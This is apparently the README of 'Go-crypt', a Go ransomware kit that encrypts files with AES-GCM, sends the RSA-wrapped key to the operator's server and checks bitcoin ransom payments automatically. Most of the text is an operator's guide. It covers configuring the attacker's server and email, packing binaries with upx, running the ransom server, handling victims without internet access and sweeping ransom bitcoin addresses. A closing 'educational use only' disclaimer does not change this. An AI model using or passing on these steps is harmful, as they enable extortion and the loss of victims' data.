Go-crypt is a simple and ellegant ransomware that implements aes-gcm encryption, public key encryption and automated bitcoin transactions.
- Encryption - 256-bit AES-GCM with random 96-bit nonces
- Security - Key is encrypted with 2048 OAEP rsa public key before being sent away.
- Multi-platform - Windows and GNU/Linux
- Convenience - Automatic bitcoin transactions. Unlocks at 6+ confirmations.
Blah, blah, you don't care about the details... You only want to get this thing running so here's what you need to do:
go run gen_rsa.go- copy values
- modify
decrypt-key.go,crypter/encrypt.goandserver.gowith those values (there are comments that tell you where those things should go)
- modify
crypter/*crypt.gowith servers ip address (or domain if you're a cool kid) - modify
crypter/encrypt.gowith your email - modify
config.jsonaccording to your needs make- package the bins
upx --brute bins/<file>
- spin up the server
go run server.go
- enjoy!
Can I do a test run?
Yes, if you're on UNIX specify the HOME variable before the script.
B-but what if my tawget doesn't have intewnet?
No problem, a key.txt file will be created in the exectuion dir. Ask them to give you the file then decrypt it with decrypt_key.go and put the key into decrypt-offline.go then you just compile it like you did with the other bins.
Ok, fine, how do I get my money after a successfull ransom?
Simply sweep the private addresses from the log.txt file. Do I also need to teach you how to grep?
It just doesn't work! Try without compression.
I did, still doesn't work!
In case you're on linux you need to generate with a machine ID with dbus-uuidgen and put it in /etc/machine-id.
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
Go-crypt is made with ♥ by target_ and is licensed under WTFPL - Do What the Fuck You Want to Public License, which is pretty clear on what you can and what you can't do: 0. You just DO WHAT THE FUCK YOU WANT TO.